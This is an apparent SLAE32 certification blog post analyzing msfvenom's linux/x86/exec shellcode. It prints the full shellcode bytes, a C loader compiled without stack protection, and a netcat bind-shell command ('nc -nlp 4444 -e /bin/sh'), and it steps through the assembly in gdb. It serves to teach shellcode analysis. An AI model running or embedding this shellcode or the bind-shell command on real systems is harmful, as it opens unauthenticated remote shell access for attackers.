SLAE32 Assignment 5.1 - Analyzing MSF exec
Overview
For the 5th assignment of the SLAE Exam, I will be analyzing 3 different linux x86 shellcodes created with MSF Venom.
The first will be the payload /linux/x86/exec
.
- The command being executed will be
nc -nlp 4444 -e "/bin/sh" &
- This will create a bind shell, on TCP port 4444, on all network interfaces, and then background the process.
Testing the Command
root# nc -nlp 4444 -e "/bin/sh" &
[1] 9119
root# netstat -tnalp | grep nc
tcp 0.0.0.0:4444 0.0.0.0:* LISTEN 9119/nc
- The command successfully ran and was given the process ID 9119 and the job ID of 1.
- The process
nc
is successfully listening on all interfaces0.0.0.0
, on TCP port4444
.
Since the job is running in the background, we can use the same terminal window to access our /bin/sh listening on all interfaces, by using netcat to connect to the localhost interface (127.0.0.1) on TCP port 4444.
Connecting to Netcat Shell
root# nc 127.0.0.1 4444
id
uid=0(root) gid=0(root) groups=0(root),46(plugdev)
- We successfully are able to run commands with our netcat, bind shell.
Creating the Shellcode with msfvenom
Now we will use msfvenom to create a shellcode to execute our netcat, bind shell command. The output will be in C so we can easily add it to our shellcode.c program.
root# msfvenom --payload linux/x86/exec CMD='nc -nlp 4444 -e "/bin/sh" &' --format c
Payload size: 63 bytes
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x1c\x00\x00\x00\x6e"
"\x63\x20\x2d\x6e\x6c\x70\x20\x34\x34\x34\x34\x20\x2d\x65\x20"
"\x22\x2f\x62\x69\x6e\x2f\x73\x68\x22\x20\x26\x00\x57\x53\x89"
"\xe1\xcd\x80";
Setup for gdb
Shellcode.c
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x1c\x00\x00\x00\x6e"
"\x63\x20\x2d\x6e\x6c\x70\x20\x34\x34\x34\x34\x20\x2d\x65\x20"
"\x22\x2f\x62\x69\x6e\x2f\x73\x68\x22\x20\x26\x00\x57\x53\x89"
"\xe1\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
- Added shellcode to this C host program so we can examine with gdb.
Compile and Run with gdb
root# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
root# gdb ./shellcode
gdb-peda$ info variables
0x0804a040 code
gdb-peda$ b *0x0804a040
Breakpoint 1 at 0x804a040
gdb-peda$ run
- Found memory location of the code variable from our C Program and set a breakpoint for once it starts executing at our variables memory location.
gdb Disassemble
gdb-peda$ disassemble
Dump of assembler code for function code:
=> 0x0804a040 <+0>: push 0xb
0x0804a042 <+2>: pop eax
0x0804a043 <+3>: cdq
0x0804a044 <+4>: push edx
0x0804a045 <+5>: pushw 0x632d
0x0804a049 <+9>: mov edi,esp
0x0804a04b <+11>: push 0x68732f
0x0804a050 <+16>: push 0x6e69622f
0x0804a055 <+21>: mov ebx,esp
0x0804a057 <+23>: push edx
0x0804a058 <+24>: call 0x804a079 <code+57>
0x0804a05d <+29>: outs dx,BYTE PTR ds:[esi]
0x0804a05e <+30>: arpl WORD PTR [eax],sp
0x0804a060 <+32>: sub eax,0x20706c6e
0x0804a065 <+37>: xor al,0x34
0x0804a067 <+39>: xor al,0x34
0x0804a069 <+41>: and BYTE PTR ds:0x2f222065,ch
0x0804a06f <+47>: bound ebp,QWORD PTR [ecx+0x6e]
0x0804a072 <+50>: das
0x0804a073 <+51>: jae 0x804a0dd
0x0804a075 <+53>: and ah,BYTE PTR [eax]
0x0804a077 <+55>: add BYTE PTR es:[edi+0x53],dl
0x0804a07b <+59>: mov ecx,esp
0x0804a07d <+61>: int 0x80
0x0804a07f <+63>: add BYTE PTR [eax],al
End of assembler dump.
Registers at time of Systemcall
EAX: 0xb ('\x0b')
EBX: 0xbffff4ce ("/bin/sh")
ECX: 0xbffff4be --> 0xbffff4ce ("/bin/sh")
EDX: 0x0
Execve Systemcall
int execve(const char *filename, char *const argv[], char *const envp[]);
EAX EBX ECX EDX
- EAX = 0xb - execve systemcall number
- EBX = Memory location of “/bin/sh”,0x00 (Null Terminated)
- ECX = Array of pointers to memory address of strings containing the program, flag, and arguements.
- EDX = 0x00000000 - Null DWORD. Used for passing enviornment variables.
EBX Register
EBX: 0xbffff4ce ("/bin/sh")
- “/bin/sh” was pushed onto the stack.
0xbffff4ce: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x0
- Hex for “/bin/bash”,0x00
ECX Register
ECX: 0xbffff4be --> 0xbffff4ce ("/bin/sh")
argv[] takes a varying amount of arguments.
- ECX is pointed to the first arguement.
- The other arguments should consecutively follow the first.
- Each arguemnt in argv[] is a pointer.
- Each arguemnt in argv[] is 4 bytes because it is a pointer to a memory location.
- The final argument in argv[] needs to be a null DWORD. 0x00000000
argv[] on the Stack
The easiest way to set up argv[] is to use the stack, as done here.
ECX: 0xbffff4be --> 0xbffff4ce ("/bin/sh")
0000| 0xbffff4be --> 0xbffff4ce ("/bin/sh")
0004| 0xbffff4c2 --> 0xbffff4d6 --> 0x632d ('-c')
0008| 0xbffff4c6 --> 0x804a05d ("nc -nlp 4444 -e \"/bin/sh\" &")
0012| 0xbffff4ca --> 0x0
- Each of these strings are null terminated by at least one null byte at their real memory location.
Pointer to location of “/bin/sh”,0x00
0000| 0xbffff4be --> 0xbffff4ce ("/bin/sh")
Pointer to location of “-c”,0x00
0004| 0xbffff4c2 --> 0xbffff4d6 --> 0x632d ('-c')
gdb-peda$ x/3c 0xbffff4d6
0xbffff4d6: 0x2d 0x63 0x0
Pointer to location of “nc -nlp 4444 -e "/bin/sh" &”,0x00
0008| 0xbffff4c6 --> 0x804a05d ("nc -nlp 4444 -e \"/bin/sh\" &")
gdb-peda$ x/30c 0x804a05d
0x804a05d <code+29>: 0x6e 0x63 0x20 0x2d 0x6e 0x6c 0x70 0x20
0x804a065 <code+37>: 0x34 0x34 0x34 0x34 0x20 0x2d 0x65 0x20
0x804a06d <code+45>: 0x22 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68
0x804a075 <code+53>: 0x22 0x20 0x26 0x0 0x57 0x53
Our Terminating NULL DWORD
0012| 0xbffff4ca --> 0x
- this is
0x00000000
that is used to terminate the argv[] array.
gdb Breakingdown by Instructions
Setting EAX for the Execve Systemcall
=> 0x804a040 <code>: push 0xb
0x804a042 <code+2>: pop eax
- Here we see
0xb
pushed and popped from the stack. 0xb
is 11 in decimal and is the systemcall value for execve.
Pushing “-c”,0x00 to the Stack
0x804a043 <code+3>: cdq
0x804a044 <code+4>: push edx
0x804a045 <code+5>: pushw 0x632d
=> 0x804a049 <code+9>: mov edi,esp
cdq
clears the edx registerpush edx
is used to push a null onto the stack- This is used to terminate the string “-c”
pushw 0x632d
is used reverse ascii for “-c”mov edi,esp
is used to save the memory address of our flag string into the edi register.
Pushing “/bin/sh”,0x00 onto the stack
0x804a04b <code+11>: push 0x68732f
0x804a050 <code+16>: push 0x6e69622f
=> 0x804a055 <code+21>: mov ebx,esp
push 0x68732f
actaully pushes “/sh” and our null byte onto the stack which will terminate the string.- This happens because
0x68732f
is only 3 bytes not four.gdb-peda$ x/c 0xbffff4d2 0xbffff4d2: 0x2f / gdb-peda$ x/c 0xbffff4d3 0xbffff4d3: 0x73 s gdb-peda$ x/c 0xbffff4d4 0xbffff4d4: 0x68 h gdb-peda$ x/c 0xbffff4d5 0xbffff4d5: 0x0 NULL
- Above we can see how these bytes fit into memory on the stack.
- This happens because
push 0x6e69622f
pushes ascii “/bin” onto the stack.mov ebx,esp
points the ebx register at the memory location of our program string “/bin/sh”,0x00.
Pushing our Netcat Command string onto the Stack
=> 0x0804a057 <+23>: push edx
0x0804a058 <+24>: call 0x804a079 <code+57>
0x0804a05d <+29>: outs dx,BYTE PTR ds:[esi]
0x0804a05e <+30>: arpl WORD PTR [eax],sp
0x0804a060 <+32>: sub eax,0x20706c6e
0x0804a065 <+37>: xor al,0x34
0x0804a067 <+39>: xor al,0x34
0x0804a069 <+41>: and BYTE PTR ds:0x2f222065,ch
0x0804a06f <+47>: bound ebp,QWORD PTR [ecx+0x6e]
0x0804a072 <+50>: das
0x0804a073 <+51>: jae 0x804a0dd
0x0804a075 <+53>: and ah,BYTE PTR [eax]
0x0804a077 <+55>: add BYTE PTR es:[edi+0x53],dl
push edx
pushes a Null Dword onto the stack- we need this to end the argv[] array that will be pointed to by the ecx register.
call 0x804a079 <code+57>
is push the following netcat string onto the stack, and jump over the string.- All of the other strings shown in this block are just the netcat string.
argv[] on the Stack
0000| 0xbffff4c6 --> 0x804a05d ("nc -nlp 4444 -e \"/bin/sh\" &")
0004| 0xbffff4ca --> 0x0
- These fufill the last 2 of the 4 addresses we need for our argv[] array.
Finishing up argv[]
- As we will see, our disassembling failed us at the last few commands. When stepping through the execution with gdb we see what really is being executed.
=> 0x804a079 <code+57>: push edi
0x804a07a <code+58>: push ebx
0x804a07b <code+59>: mov ecx,esp
push edi
is used to push the pointer to our “-c” flag onto the stack.
EDI: 0xbffff4d6 --> 0x632d ('-c')
push ebx
is used to push the pointer to our program filepath string to the stack.mov ecx,esp
points our ecx register to our array of memory pointers to fufill our argv[] array.
Final argv[] Stack
0000| 0xbffff4be --> 0xbffff4ce ("/bin/sh")
0004| 0xbffff4c2 --> 0xbffff4d6 --> 0x632d ('-c')
0008| 0xbffff4c6 --> 0x804a05d ("nc -nlp 4444 -e \"/bin/sh\" &")
0012| 0xbffff4ca --> 0x0
Execution
=> 0x804a07d <code+61>: int 0x80
- Now that everything is in place,
int 0x80
is used to trigger the systemcall interrupt.
SLAE32 Blog Proof
This blog post has been created for completing the requirements
of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
- Now at: https://www.pentesteracademy.com/course?id=3
SLAE/Student ID: PA-10913